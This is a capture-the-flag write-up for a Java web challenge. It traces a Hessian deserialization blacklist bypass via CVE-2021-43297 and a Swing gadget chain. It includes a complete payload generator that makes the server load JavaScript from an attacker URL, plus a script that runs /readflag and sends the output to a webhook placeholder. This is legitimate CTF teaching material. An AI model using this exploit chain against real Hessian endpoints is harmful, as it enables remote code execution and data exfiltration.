KMACis CTF 2024 Writeup
Writeup Mùa thu cho em — KMACis CTF 2024, Web challenges.
I didn’t participate in this competition, but some friends sent me the challenges and I found them pretty interesting, so I decided to give them a try. Quite tricky, actually @@
Mùa thu cho em
Challenge
We focus on the LogController file inside the downloaded jar.
package com.example.controller;
import com.alipay.hessian.ClassNameResolver;import com.alipay.hessian.NameBlackListFilter;import com.caucho.hessian.io.Hessian2Input;import com.example.App;import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import java.io.BufferedReader;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStreamReader;import java.io.OutputStream;import java.nio.charset.StandardCharsets;import java.util.ArrayList;import java.util.Base64;import java.util.Iterator;
public class LogController implements HttpHandler { private static final ArrayList<String> BLACKLIST = new ArrayList();
public LogController() { }
public void handle(HttpExchange httpExchange) throws IOException { if (!"POST".equals(httpExchange.getRequestMethod())) { httpExchange.sendResponseHeaders(404, 0L); httpExchange.close(); } else { ByteArrayOutputStream result = new ByteArrayOutputStream(); byte[] buffer = new byte[1024];
int length; while((length = httpExchange.getRequestBody().read(buffer)) != -1) { result.write(buffer, 0, length); }
byte[] bytes = Base64.getDecoder().decode(result.toByteArray()); String content = new String(bytes, StandardCharsets.UTF_8); if (content != null && !content.trim().isEmpty()) { Iterator var6 = BLACKLIST.iterator();
String line; do { if (!var6.hasNext()) { Hessian2Input input = new Hessian2Input(new ByteArrayInputStream(bytes)); ClassNameResolver resolver = new ClassNameResolver(); resolver.addFilter(new CustomInternalNameBlackListFilter()); input.getSerializerFactory().setClassNameResolver(resolver); Object output = null;
try { output = input.readObject(); } catch (Exception var11) { input.close(); httpExchange.sendResponseHeaders(500, 0L); httpExchange.close(); return; }
input.close(); if (output != null && output.getClass().equals(String.class)) { System.out.println(output); }
OutputStream outputStream = httpExchange.getResponseBody(); String htmlResponse = "{\"ok\":true}"; httpExchange.getResponseHeaders().set("Content-Type", "application/json"); httpExchange.sendResponseHeaders(200, (long)htmlResponse.getBytes().length); outputStream.write(htmlResponse.getBytes()); outputStream.flush(); outputStream.close(); httpExchange.close(); return; }
line = (String)var6.next(); } while(!content.contains(line));
httpExchange.sendResponseHeaders(403, 0L); httpExchange.close(); } else { httpExchange.sendResponseHeaders(200, 0L); httpExchange.close(); } } }
static { try { BufferedReader br = new BufferedReader(new InputStreamReader(App.class.getResourceAsStream("/serialize.blacklist")));
try { while(br.ready()) { String line = br.readLine(); if (line != null && !line.trim().isEmpty()) { BLACKLIST.add(line); } } } catch (Throwable var4) { try { br.close(); } catch (Throwable var3) { var4.addSuppressed(var3); }
throw var4; }
br.close(); } catch (IOException var5) { IOException e = var5; throw new RuntimeException(e); } }
private static class CustomInternalNameBlackListFilter extends NameBlackListFilter { public CustomInternalNameBlackListFilter() { super(LogController.BLACKLIST); } }}Solution
The LogController has a deserialization endpoint that reads an object from the input stream. However, there are two conditions that must be satisfied:
- The input stream must not contain any keyword from the blacklist
- The deserialized class must not appear in the blacklist
Using gadget inspector, I found a gadget chain that can bypass the blacklist:
java.awt.datatransfer.MimeTypeParameterList.toString()Ljava.lang.String; (0) javax.swing.UIDefaults.get(Ljava.lang.Object;)Ljava.lang.Object; (0) javax.swing.UIDefaults.getFromHashtable(Ljava.lang.Object;)Ljava.lang.Object; (0) com.sun.java.swing.plaf.gtk.GTKStyle$GTKLazyValue.createValue(Ljavax.swing.UIDefaults;)Ljava.lang.Object; (0) java.lang.reflect.Method.invoke(Ljava.lang.Object;[Ljava.lang.Object;)Ljava.lang.Object; (0)I modified this chain by replacing com.sun.java.swing.plaf.gtk.GTKStyle$GTKLazyValue with javax.swing.UIDefaults.ProxyLazyValue, which serves the same purpose.
This gives us the following gadget chain:
java.awt.datatransfer.MimeTypeParameterList.toString()Ljava.lang.String; (0) javax.swing.UIDefaults.get(Ljava.lang.Object;)Ljava.lang.Object; (0) javax.swing.UIDefaults.getFromHashtable(Ljava.lang.Object;)Ljava.lang.Object; (0) javax.swing.UIDefaults.ProxyLazyValue.createValue(Ljavax.swing.UIDefaults;)Ljava.lang.Object; (0) java.lang.reflect.Method.invoke(Ljava.lang.Object;[Ljava.lang.Object;)Ljava.lang.Object; (0)However, we still need a way to hook the toString method from Hessian2Input’s readObject.
CVE-2021-43297
Starting with Hessian2Input’s readObject method:
public Object readObject() throws IOException { int tag = this._offset < this._length ? this._buffer[this._offset++] & 255 : this.read(); int ref; Deserializer reader; Deserializer reader; ...Since the initial values of this._offset and this._length are both 0, tag is read from this.read():
public final int read() throws IOException { return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255;}So tag returns this._buffer[this._offset++], which is the first byte of the input stream.
Note the case 67 inside readObject:
case 67:this.readObjectDefinition((Class)null);return this.readObject();Stepping into readObjectDefinition:
private void readObjectDefinition(Class<?> cl) throws IOException { String type = this.readString(); ...}Then stepping into readString, notice this branch:
default: throw this.expect("string", tag);protected IOException expect(String expect, int ch) throws IOException { if (ch < 0) { return this.error("expected " + expect + " at end of file"); } else { --this._offset;
try { int offset = this._offset; String context = this.buildDebugContext(this._buffer, 0, this._length, offset); Object obj = this.readObject(); return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")" + "\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null"); } catch (Exception var6) { Exception e = var6; log.log(Level.FINE, e.toString(), e); return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255)); } }}Here obj is concatenated directly into a string, which triggers obj.toString().
So to trigger toString in the simplest way possible, we just need to prepend byte 67 to the payload.
With the gadget chain in hand, I’ll skip the chain analysis (too lazy ><) and go straight to writing the payload. In this case I use com.sun.tools.script.shell.Main.main to execute JavaScript loaded from an external URL:
import com.alipay.hessian.ClassNameResolver;import com.alipay.hessian.NameBlackListFilter;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.example.App;import org.tva.encoder.Base64Utils;import sun.misc.Unsafe;import sun.reflect.ReflectionFactory;import javax.swing.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.io.*;import java.util.ArrayList;import java.util.Arrays;
public class Runner { private static final ArrayList<String> BLACKLIST = new ArrayList(); public static <T> byte[] serialize(T o) throws IOException, IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(bao); // CVE-2021-43297, prepend byte 67 to the stream to invoke toString bao.write(67);
output.getSerializerFactory().setAllowNonSerializable(true); output.writeObject(o); output.close(); return bao.toByteArray(); }
static { try { BufferedReader br = new BufferedReader(new InputStreamReader(App.class.getResourceAsStream("/serialize.blacklist")));
try { while(br.ready()) { String line = br.readLine(); if (line != null && !line.trim().isEmpty()) { BLACKLIST.add(line); } } } catch (Throwable var4) { try { br.close(); } catch (Throwable var3) { var4.addSuppressed(var3); }
throw var4; }
br.close(); } catch (IOException var5) { IOException e = var5; throw new RuntimeException(e); } }
private static class CustomInternalNameBlackListFilter extends NameBlackListFilter { public CustomInternalNameBlackListFilter() { super(Runner.BLACKLIST); } }
public static byte[] generatePoc(String className, String methodName, Object[] args) throws Exception { Unsafe unsafe = getUnsafe(); byte [] classNameBytes = className.getBytes(); byte [] methodNameBytes = methodName.getBytes(); UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue(new String(classNameBytes), new String(methodNameBytes), args);
setFieldValue(proxyLazyValue,"acc",null); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put("key", proxyLazyValue);
Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList"); Object mimeTypeParameterList = unsafe.allocateInstance(clazz); setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
return serialize(mimeTypeParameterList); } public static void main(String[] args) throws Exception { String filepath = "http://<your-ip>/script.js"; String className = "com.sun.tools.script.shell.Main"; String methodName = "main"; Object[] evilArgs = new Object[]{new String[]{"-e", String.format("load('%s')", filepath)}};
byte [] bytes = generatePoc(className, methodName, evilArgs);
String b64RCE = Base64Utils.encode(bytes); System.out.println(b64RCE); }
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, Exception { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); }
public static Unsafe getUnsafe() throws Exception{ Class<?> clazz = Class.forName("sun.misc.Unsafe"); Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(); declaredConstructor.setAccessible(true); Unsafe unsafe= (Unsafe) declaredConstructor.newInstance(); return unsafe; }}File script.js
var p = new java.lang.ProcessBuilder();p.command("/readflag");var process = p.start();var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());var bufferedReader = new java.io.BufferedReader(inputStreamReader);var stringBuilder = new java.lang.StringBuilder();var line = "";while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n");}var fullText = stringBuilder.toString();var webhook = "http://<web-hook>?"+fullText;var url = new java.net.URL(webhook);var conn = url.openConnection();conn.getInputStream();
Comments
💬 Giscus is not configured — fill in
repo/repoId/categoryIdinsrc/components/GiscusComments.astro(get them from giscus.app ).